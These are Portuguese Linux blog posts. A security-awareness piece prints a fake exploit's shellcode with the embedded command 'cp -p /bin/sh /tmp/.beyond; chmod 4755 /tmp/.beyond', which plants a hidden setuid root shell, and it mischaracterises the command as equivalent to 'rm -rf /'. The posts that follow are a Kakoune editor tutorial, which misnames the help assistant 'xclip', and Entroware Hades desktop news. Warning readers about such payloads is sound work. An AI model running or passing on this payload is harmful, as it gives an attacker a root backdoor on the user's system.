char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não rode coisas no terminal que você não sabe para quem servem, existem muito conteúdo grátis a internet para você estudar sobre e até mesmo alguns bons cursos pagos, como é o caso do "Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais, se você evitar colocar comandos que você não sabe para que servem direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas a ficarem precavidas sobre estes pequenos percalços da vida computacional.

Até a próxima!
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Conheça o Kakoune, um Vim fácil de usar

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O Vim é um clássico do mundo Linux, um editor de texto muito poderoso e usado por diversas pessoas ao redor do mundo, mas ele, apesar de muito bom, não é a única opção. Desconsiderando o Emacs, Nano, e alguns outros, também bem populares, hoje você vai conhecer o interessantíssimo, Kakoune.

Kakoune
















Kakoune é um editor de texto inspirado no Vim que possui comandos similares e de uso mais intuitivo. Ele possui um sistema de ajuda interativa, o xclip que é baseado no famoso Clippy do Microsoft Office e de outros aplicativos.

O Kakoune está no repositório de todas as distribuições Linux e em outros sistemas: FreeBSD, OpenBSD, macOS, Windows e entre outros. Então para instalá-lo não há segredo, basta rodar o comando de instalação do gerenciador de pacotes do seu sistema. Exemplo para Debian, Ubuntu e Mint:
sudo apt install kakoune

Utilização


Como foi dito acima, os comandos do Kakoune são similares ao do Vim. Para você abrir ou criar um arquivo, basta rodar o comando kak arquivo. Ele terá o modo de inserção (pressione a tecla i para começar a digitar) e para sair e salvar (pressione ESC e em seguinda tecle :wq) . Se quiser só salvar [ESC] :w e se quiser sair sem salvar [ESC] :q!

Configuração


Para o obter ajuda do Kakoune, basta teclar a letra 'q' ou 'Q' em maiúsculo . Abrirá o ajudante (Clippy) para lhe dar algumas dicas, veja a imagem abaixo:

Obtendo ajuda do Clippy


Kakoune

Teclando i para digitar o texto:

Teclando i para digitar o texto


Pressionei ESC e depois digitei :wq

Perceba que além do Clippy , agora também tem uma barra branca que me orienta quais comandos utilizar . Eu poderia ainda pressionar a tecla TAB que o Kakoune iria navegar nessas opções e escrever o comandos para mim, como há na imagem logo abaixo.

Pressionei ESC e depois digitei :wq

Pressionando TAB e navegando nas opções:

Pressionando TAB e navegando nas opções:


Customizando seu Kakoune


Você pode numerar as linhas , alterar o tema de cores e entre várias outras formas . Se você pressionar ESC ':' (dois pontos) perceba que ele já lhe orienta sobre os comandos.

Kakoune

Se você quiser numerar as linhas o comando é (comece a digitar o comando e use o TAB para facilitar):
add-highlighter global/ number_lines
Kakoune

Para mudar o tema de cores:
colorscheme [tema_que_você_deseja]
Kakoune

E muitos outros comandos que você mesmo pode notar no menu suspenso. Mas quando você fechar o Kakoune, essas configurações serão perdidas , mas você pode tornar essas alterações definitivas criando um diretório de nome kak dentro do diretório .config na raíz do seu usuário, veja o comando:
mkdir -p ~/.config/kak
E depois crie o um arquivo de nome kakrc e coleque os mesmos comandos que você utilizou dentro do arquivo, assim:
kak .config/kak/kakrc
Tecle i para entrar no modo de inserção ( insert ) e cole esse conteúdo nele, supondo que você deseja esse tema:
add-highlighter global/ number_lines
colorscheme [tema_que_você_escolheu]
Não esqueça de salvar antes de sair [ESC]:wq ou [ESC]:write-quit como o próprio Kakoune sugere .
Pronto, agora é só abrir o Kakoune e as configurações não serão perdidas. O diretório raíz de configurações do Kakoune é em /usr/share/kak/ , dentro dele tem arquivos .kak que são sintaxes para diversas linguagens de programação e entre outros arquivos e diretórios, que é uma boa ideia analizar.

E por falar em boa ideia, não deixe de consultar a wiki oficial do Kakoune no endereço: https://github.com/mawww/kakoune/wiki que tem diversas dicas bem bacanas e se quiser utilizar um kakrc com diversas configurações já inclusas , copie desse endereço:

Você notou a semelhança com o Vim, caso deseje obter dicas do Vim que servirão pro seu Kakoune, clique nesse link: 7 dicas para você usar o VIM como um PRO.

Página oficial do Kakoune: http://kakoune.org/

Este artigo foi escrito em conjunto com Marcos, do Terminal Root.

Abraços!
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Entroware anuncia Hades, um desktop poderoso com Ubuntu e AMD

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A empresa britânica Entroware não está para brincadeira e entrou de vez no mercado de computadores com Linux, mais precisamente com o Ubuntu, com opções poderosas e que fazem frente a grandes players do mercado, como Dell, Samsung, Acer, entre outras.


 Entroware anuncia  Hades, um desktop poderoso com Ubuntu e AMD






Recentemente a empresa apresentou ao mercado europeu o seu poderoso e elegante All-in-One Ares, com uma tela de 24” Full HD e com opções de processadores Intel de 8ª (do i3 ao i7). Fizemos uma matéria bem completinha e detalhando melhor ele, o post para conferir ele é esse.

Já o Entroware Hades é o primeiro desktop da empresa a ser oferecido com processadores da AMD da série Ryzen TR, indo do 1900x ao 2990WX, para placas de vídeo as opções também são vastas e devem se encaixar nos bolsos dos que estão querendo economizar, até aqueles que querem a performance mais bruta possível, indo desde de uma GT 1030 de 2GB, até um SLI de 2080 TI de 11GB (quanta ignorância hein :P ). Os sistemas operacionais disponíveis são Ubuntu 18.04 LTS (versão padrão, com Gnome) ou o Ubuntu MATE 18.04 LTS. A empresa oferece garantia de 3 anos nesse pequenino “torpedo”.

A configuração básica dele que custa £1,599.99, vem com:

Processador: Ryzen TR 1900X 3.8Ghz (8 cores, 16 Threads);
Memória Ram: 16GB DDR4 2933Mhz;
Armazenamento: SSD de 120GB SSD 
GPU: NVIDIA GeForce GT 1030 de 2GB 
Sistema Operacional: Ubuntu 18.04 LTS.

Já a versão mais cara do desktop sai pela bagatela de £6,224.91

Processador: Ryzen TR 2990WX 4.2Ghz (32 cores, 64 Threads);
Memória Ram: 128GB DDR4 2400Mhz ECC;
Armazenamento: SSD de 2TB
Armazenamento adicional: HD de 8TB
GPU: NVIDIA GeForce RTX 2080 Ti 11GB
Sistema Operacional: Ubuntu 18.04 LTS.
Monitor: Matte HD de 27”
Garantia: 3 anos Platinum
Mouse e Teclado da Logitech

Como o meu amigo e companheiro de blog, Henrique comentou, gostaria muito de poder por as mãos em uma belezinha dessas e poder ver qual o poderio que podem entregar com o Ubuntu pré-instalado, como a Dell faz com os computadores e notebooks do projeto Sputink.

Iniciativas como essas deveriam ser mais praticadas em terras “tupiniquins”, como as lojas de grandes varejos (Casas Bahia, Americanas, Magazine Luiza e entre outras) junto com as empresas, além da Dell, como Samsung, Acer, Lenovo e até a CCE (Positivo acho que nem no sonho mais otimista faria isso rs) fecharem alguma parceria com a Canonical e assim oferecer o Ubuntu pré-instalado nas suas máquinas (que seja bem instalado e não feito na “correria”). Pois uma das grandes barreiras do Linux crescer no Brasil, aconteceu em um passado recente, quando se teve o “Boom” da informática e as empresas para não venderem os computadores sem sistema operacional (a lei não permite) colocavam “qualquer Linux” para a galera ter o primeiro contato e isso acabou criando grandes obstáculos ao sistema, fazendo com que as pessoas corressem para o Windows (na sua grande parte partindo para a pirataria) e assim tornando o Linux aqui no Brasil algo “terrível de se usar”. Só para citar, nessa época poderiam ter colocado o saudoso Kurumin do Carlos Morimotto, que fez um trabalho primoroso. Mas isso é assunto para outro post 😁

Se você precisar de mais informações sobre o Entroware Hades e preços, pode conferir no site.

Espero você até o próximo post, um forte abraço.

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